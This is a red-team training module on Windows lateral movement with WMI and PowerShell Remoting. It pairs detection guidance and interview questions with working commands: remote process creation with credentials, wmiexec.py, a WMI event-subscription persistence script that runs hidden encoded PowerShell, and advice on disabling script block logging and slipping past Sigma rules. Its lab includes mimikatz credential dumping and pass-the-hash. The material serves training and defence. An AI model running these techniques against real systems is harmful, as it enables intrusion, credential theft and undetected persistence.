WMI & PowerShell Remoting
WMI and PowerShell Remoting are the two lateral-movement primitives that defenders most often see on a mature Windows estate — because they are the same primitives defenders and admins use. The red-team advantage is that WMI traffic blends with SCCM, Intune, and Helpdesk automations; the detection challenge is separating the legitimate WMI from the malicious WMI. Both protocols live on TCP/135 (RPC endpoint mapper) + dynamic high ports (WMI) and TCP/5985 (WinRM HTTP) / 5986 (HTTPS).
The Core Concept
Section titled “The Core Concept”Both mechanisms rely on DCOM or WS-Management transport underneath:
WinRM (TCP/5985) WMI over DCOM (TCP/135 → dynamic) │ │ ▼ ▼ wsmprovhost.exe wmiprvse.exe (the WMI Provider Host) │ │ ▼ ▼ powershell.exe child provider-specific COM server (e.g., StdRegProv in stdprov.dll) │ ▼ user's PS code runs as the impersonated identitywmiprvse.exe is the host process for every WMI operation that is not in-process. Every WQL query, every class method invocation, every permanent event subscription fires a wmiprvse.exe child under svchost.exe -k netsvcs. A red team that triggers WMI in unusual ways generates unusual wmiprvse.exe children or unusual provider loads.
PowerShell Remoting spawns wsmprovhost.exe per session, which in turn spawns powershell.exe (or the configured shell) with the user’s impersonation token.
How It Works
Section titled “How It Works”WMI remote execution:
- Authenticate to the target via NTLM or Kerberos.
- Connect to
\\<target>\root\cimv2. - Either call a static method (
Win32_Process.Create) or use a permanent event subscription to trigger on a timer.
Win32_Process.Create("cmd.exe /c whoami > C:\\pwn.txt", null, null, &pid)The Win32_Process.Create method runs the new process in session 0 with no window — perfect for a service that calls back to your C2.
PowerShell Remoting:
Enter-PSSession -ComputerName dc01 -Credential corp\Administratoropens an interactive shell.Invoke-Command -ComputerName dc01 -ScriptBlock { ... }runs a script block remotely.- Under the hood, PowerShell serializes the script block, sends it via WS-Management, the remote
wsmprovhost.exespawnspowershell.exe, runs the block, serializes the output, and returns.
WMI permanent event subscription (persistence):
The __EventFilter + EventConsumer + __FilterToConsumerBinding triplet is the canonical WMI persistence. A common pattern:
__EventFilter: "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12 AND TargetInstance.Minute = 0" → triggers daily at 12:00
CommandLineEventConsumer: "powershell.exe -nop -w hidden -enc <base64>"
__FilterToConsumerBinding: links themThe payload runs every day at noon as the WMI service (LocalService by default, but configurable). The consumer’s CreatorSID is recorded, which is a strong detection signal — most legitimate subscriptions are owned by NT AUTHORITY\SYSTEM.
WMI over WinRM (CIM):
The newer CimCmdlets module uses WS-Management under the hood instead of DCOM, so the traffic flows over 5985 instead of 135 + dynamic. This is less common in legacy estates and therefore more suspicious to anomaly-based detection.
Common Techniques
Section titled “Common Techniques”| Technique | Transport | Default Port | Notable Child Process |
|---|---|---|---|
Invoke-Command | WinRM | 5985/5986 | wsmprovhost.exe → powershell.exe |
Enter-PSSession | WinRM | 5985/5986 | wsmprovhost.exe → powershell.exe |
wmic /node:... process call create | DCOM | 135+dyn | wmiprvse.exe → target |
Invoke-WmiMethod | DCOM | 135+dyn | wmiprvse.exe → target |
Invoke-CimMethod | WS-Man | 5985/5986 | wsmprovhost.exe → target |
| Permanent event subscription | local WMI | n/a | wmiprvse.exe → consumer process |
Hands-On Commands
Section titled “Hands-On Commands”# PowerShell Remoting — interactiveEnter-PSSession -ComputerName dc01 -Credential corp\Administrator# Inside the session, you are on dc01 with the credential's identity
# PowerShell Remoting — one-offInvoke-Command -ComputerName dc01, app01 -ScriptBlock { hostname; whoami /groups }
# Fan-out with sessions$s = New-PSSession -ComputerName (Get-Content hosts.txt)Invoke-Command -Session $s -ScriptBlock { Get-Process | Where-Object { $_.Name -eq 'lsass' } }
# WMI over DCOM — process creationwmic /node:dc01 /user:corp\Administrator /password:Pass process call create "cmd.exe /c whoami > C:\\pwn.txt"
# WMI over DCOM — querywmic /node:dc01 /user:corp\Administrator /password:Pass os get Caption, Version
# Impacket's wmiexec.py (Linux)wmiexec.py corp/Administrator:Pass@dc01# This drops a semi-interactive shell via WMI — useful from a Linux foothold
# Permanent event subscription (persistence)# Pseudo-code; install via PowerShell or mofcomp.exe$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{Name='pwn'; QueryLanguage='WQL'; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=12"}$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name='pwn'; CommandLineTemplate="powershell.exe -nop -enc <b64>"}Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}
# List existing subscriptions (defender check)Get-WmiObject -Namespace root/subscription -Class __EventFilterGet-WmiObject -Namespace root/subscription -Class CommandLineEventConsumerGet-WmiObject -Namespace root/subscription -Class __FilterToConsumerBindingDetection — Defender View
Section titled “Detection — Defender View”Sysmon Event ID 1 — ProcessCreate — alert when wmiprvse.exe spawns cmd.exe, powershell.exe, wsmprovhost.exe spawns powershell.exe, or wsmprovhost.exe spawns cmd.exe. Legitimate admin activity is rare on most endpoints.
Sysmon Event ID 3 — NetworkConnect — alert on wmiprvse.exe or wsmprovhost.exe making outbound connections (should only happen for remote WMI; any inbound connection from another host is suspicious).
Sysmon Event ID 11 — FileCreate — alert on wmiprvse.exe writing to \Windows\System32\wbem\ (where subscription definitions live).
Sysmon Event ID 12/13/14 — RegistryEvent — alert on HKLM\SOFTWARE\Microsoft\WMI\ and root\subscription namespace writes.
Windows Event 4648 — Explicit Logon — generated when WMI/WinRM uses alternate credentials.
Windows Event 4624 (Logon Type 3) — network logon from the source host.
MITRE ATT&CK T1021.006 — Remote Services: Windows Remote Management.
MITRE ATT&CK T1047 — WMI.
MITRE ATT&CK T1546.003 — Event Triggered Execution: WMI Event Subscription.
MITRE ATT&CK T1059.001 — Command and Scripting Interpreter: PowerShell.
Wazuh rule 31101 [verify] — PowerShell remoting usage.
Wazuh rule 31173 [verify] — WMI permanent event subscription created.
SigmaHQ rule win_wmi_persistence.yml — published detection for the subscription triplet.
Evasion Techniques
Section titled “Evasion Techniques”Disable PowerShell Script Block logging. PS Remoting in default-config domains logs every script block via EID 4104 (PowerShell Script Block). As an attacker, set HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 0 (requires admin already held). Some hardened environments mandate it via GPO and detect the unset.
Encode script content. -EncodedCommand (or -enc) base64-encodes the script. The decoding happens inside the wsmprovhost.exe child, so the script block log shows the decoded form. Encoding defeats simple network signatures but not EID 4104.
Use pwsh.exe (PowerShell 7) instead of powershell.exe. PS7 has its own EventLog channel (Microsoft-Windows-PowerShell/Operational is replaced by Microsoft-PowerShell/Operational). Many SIEM rules target only the legacy channel.
JScript / VBScript via WMI’s ActiveScriptEventConsumer. Instead of a CommandLineEventConsumer that fires powershell.exe, use ActiveScriptEventConsumer with VBScript. The VBScript runs inside wscript.exe (or wmiprvse.exe depending on the consumer host), bypassing PowerShell-only detections.
Avoid the provider host. Custom WMI providers can be registered as in-proc (DLL) instead of out-of-proc (wmiprvse.exe). This is rare in the wild but worth knowing.
| Evasion | Defeats | Caveat |
|---|---|---|
-enc | Network IDS | EID 4104 still logs decoded |
pwsh.exe | Legacy PS-only rules | PS7 channel exists but may be off-by-default |
ActiveScriptEventConsumer | PS-only detections | VBScript signature is its own tell |
| WMI over WS-Man (CIM) | TCP/135 + dyn port detection | WinRM port 5985 is monitored equally |
⚠️ What caught me: I planted a WMI permanent event subscription with a 60-second timer and a
powershell.exe -encpayload. The blue team’s Sigma rule on__EventFilterwithWITHIN < 300lit up — every legitimate subscription in the estate hadWITHINof hours or days, and my 60s poll was anomalous. The lesson: theWITHINinterval is itself a signature. Slower is stealthier — a 24-hour timer is invisible to most rules.
Lab Practice
Section titled “Lab Practice”VM type: Two Windows Server 2019 VMs (DC + member), one Linux VM with Impacket. Both Windows VMs must have WinRM enabled (Enable-PSRemoting -Force) and WMI ports open.
Objective:
- Lateral from Linux foothold → Windows member via
wmiexec.py. - Pivot from member → DC via
Invoke-Commandusing credentials extracted from LSASS. - Plant a WMI permanent event subscription on the DC; confirm the consumer fires at the scheduled time.
- Have the blue-team side detect the subscription via Sigma rule.
Steps:
- From Linux:
wmiexec.py corp/user:pass@member01.corp.local— drop into the WMI shell. - From member01:
mimikatz "sekurlsa::logonpasswords" exit— extract a DA hash. Invoke-Command -ComputerName dc01 -ScriptBlock { ... }usingNew-PSSessionwith the hash viaPass-the-Hash(or use Rubeus/ptt).- On the DC, install the WMI subscription with
Set-WmiInstance. - Wait for the trigger, confirm payload executes.
Expected flag format: flag{wmi_persist:filter_withIN_86400:consumer_cmdline}
Detection that should fire: Sysmon EID 1 (wmiprvse.exe → powershell.exe), Sysmon EID 12/13/14 on root\subscription, Sigma win_wmi_persistence.yml.
Interview Questions
Section titled “Interview Questions”Explain the difference between WMI over DCOM and WMI over WS-Management from a network perspective. Which ports does each use, and which is harder to detect on a legacy network?
Scenario: a SOC analyst sees wmiprvse.exe spawning cmd.exe with whoami /groups once per minute on a Domain Controller. What are the three most likely explanations, and how would you confirm the malicious hypothesis?
Technical: walk through the three WMI objects required for a permanent event subscription, and explain what each is responsible for in the trigger chain.
Conceptual: why is a WITHIN interval of 60 seconds more suspicious than 86400 seconds, even if both subscriptions could perform the same action?
How does PowerShell 7 (pwsh.exe) differ from Windows PowerShell 5.1 in terms of the Event Log channel used for Script Block logging, and what configuration must a defender apply to capture both?
Related Modules
Section titled “Related Modules”→ PE4 (Lateral Movement) · PE8 (Living off the Land) · E5 (AMSI & ETW Bypasses)